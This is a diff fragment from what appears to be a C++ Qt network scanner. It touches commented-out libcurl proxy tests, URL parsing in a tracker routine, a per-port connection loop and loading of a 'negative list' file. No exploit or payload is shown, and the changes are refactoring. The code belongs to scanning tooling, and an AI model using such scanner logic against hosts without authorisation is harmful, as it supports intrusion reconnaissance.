_startVerCheck();
|
||||
_startMsgCheck();
|
||||
|
||||
// curl = curl_easy_init();
|
||||
// if(curl) {
|
||||
// curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com");
|
||||
// curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback);
|
||||
// curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer);
|
||||
// res = curl_easy_perform(curl);
|
||||
// curl_easy_cleanup(curl);
|
||||
|
||||
// std::cout << readBuffer << std::endl;
|
||||
// }
|
||||
|
||||
// CURLcode res;
|
||||
// std::string readBuffer;
|
||||
// CURL *curl = curl_easy_init();
|
||||
|
||||
// if (curl)
|
||||
// {
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com")));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback)));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer)));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru")));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128)));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L)));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut)));
|
||||
// stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut)));
|
||||
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L)));
|
||||
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_URL, "http://www.google.com")));
|
||||
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, gTimeOut)));
|
||||
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_NOBODY, true)));
|
||||
// // stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXY, "cache.fors.ru")));
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_PROXYPORT, 3128)));
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_HTTPAUTH, CURLAUTH_NTLM)));
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_VERBOSE, true)));
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, WriteCallback)));
|
||||
// //stt->doEmitionFoundData( curl_easy_strerror(curl_easy_setopt(curl, CURLOPT_WRITEDATA, &readBuffer)));
|
||||
|
||||
// res = curl_easy_perform(curl);
|
||||
// curl_easy_cleanup(curl);
|
||||
// };
|
||||
|
||||
// stt->doEmitionFoundData(QString(readBuffer.c_str()));
|
||||
//float step = 0;
|
||||
//QPen iprvPenRegular(QColor(51, 51, 51, 100));
|
||||
//QPen iprvPen(QColor(51, 51, 51, 100));
|
||||
|
@ -512,10 +512,10 @@ void *_tracker()
|
||||
if(strstr(rBuffT, "http://") != NULL)
|
||||
{
|
||||
t1 = strstr(rBuffT, "http://");
|
||||
if(strstr((char*)(t1 + strlen("http://")), "/") != NULL)
|
||||
if(strstr((char*)(t1 + 7), "/") != NULL)
|
||||
{
|
||||
t2 = strstr((char*)(t1 + strlen("http://")), "/");
|
||||
int ln = t2 - t1 - strlen("http://");
|
||||
t2 = strstr((char*)(t1 + 7), "/");
|
||||
int ln = t2 - t1 - 7;
|
||||
if(ln > 64)
|
||||
{
|
||||
CSSOCKET(sock);
|
||||
@ -525,7 +525,7 @@ void *_tracker()
|
||||
|
||||
continue;
|
||||
}
|
||||
else strncpy(ndbServer, (char*)(t1 + strlen("http://")), ln);
|
||||
else strncpy(ndbServer, (char*)(t1 + 7), ln);
|
||||
|
||||
if(strlen(t2) > 64)
|
||||
{
|
||||
@ -895,7 +895,7 @@ void *_connect(void* ss)
|
||||
for(int i = 0; i <= overallPorts; ++i)
|
||||
{
|
||||
if(globalScanFlag == false) break;
|
||||
if(con._ConnectToPort( ip, std::to_string(portArr[i]).c_str(), "" ) == -2) break;
|
||||
if(con._ConnectToPort( ip, portArr[i], "" ) == -2) break;
|
||||
};
|
||||
|
||||
ConDec();
|
||||
@ -1196,6 +1196,7 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
@ -1210,6 +1211,7 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
|
||||
res = xcode(buffFG, CP_UTF8, CP_ACP);
|
||||
#else
|
||||
res = std::string(buffFG);
|
||||
#endif
|
||||
int sz = res.size();
|
||||
GlobalNegatives[i] = new char[sz + 1];
|
||||
@ -1226,23 +1228,17 @@ void ReadUTF8(FILE* nFile, char *cp)
|
||||
#else
|
||||
strncpy((char*)buffcpy2, buffFG, sz);
|
||||
#endif
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
};
|
||||
|
||||
|
||||
stt->doEmitionGreenFoundData("Negative list loaded (" + QString::number(GlobalNegativeSize) + " entries)");
|
||||
|
||||
ZeroMemory(buffFG, sizeof(buffFG));
|
||||
|
||||
fclose(nFile);
|
||||
}
|
||||
else
|
||||
{
|
||||
|
||||
stt->doEmitionRedFoundData("No negative list found");
|
||||
stt->doEmitionKillSttThread();
|
||||
|
||||
};
|
||||
}
|
||||
|
||||
|
Loading…
Reference in New Issue
Block a user